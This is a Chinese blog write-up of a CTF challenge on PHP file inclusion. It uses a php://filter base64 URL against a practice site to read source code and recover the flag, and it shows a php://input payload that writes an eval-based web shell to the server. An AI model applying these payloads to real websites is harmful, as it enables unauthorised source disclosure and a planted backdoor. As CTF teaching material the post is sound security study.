【CTF题】使用文件包含漏洞读取网页代码

【CTF题】使用文件包含漏洞读取网页代码

按照我的理解文件包含漏洞是指网页后端php(或其他)代码中使用了include等文件包含语句,而且所包含的文件由变量控制,恰恰此变量又能通过GET或POST等方式进行修改所造成的。

1.直接包含内有运行代码的文件

比如有一index.php

<?php
  include $_GET['file'];
?>

那么就可以通过抓包修改file值的办法去运行一些本来不该运行的文件

也可以通过此方法直接输出一些敏感的配置文件和远程包含shell(需要目标主机开启allow_url_fopen)

2.通过PHP内置协议直接读取代码

通过构造如下语句:

http://xxx.com/index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php

就能获得xxx.php的代码的base64加密结果,通过base64解密后便可获得xxx.php的代码

题目是南邮网络攻防平台的文件包含题
这里写图片描述

点击“click me?no”以后:
这里写图片描述

可以看到,url变为了:

http://4.chinalover.sinaapp.com/web7/index.php?file=show.php

出现了?file=show.php

说明可能有文件包含漏洞,so,构建url如下:

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

得到了index.php的base64加密后的代码
这里写图片描述

base解密后得到代码:

<html>
    <title>asdf</title>

<?php
    error_reporting(0);
    if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

可以看到,flag就在这里~

3.写入php文件

使用如下url:

http://xxx.com/index.php?file=php://input

并且在http头里提交

<?fputs(fopen("shell.php","w"),"<?php eval($_post['xxx'];?>")?>

就能在index.php说在的目录下生成shell.php

未完待续

  • 6
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值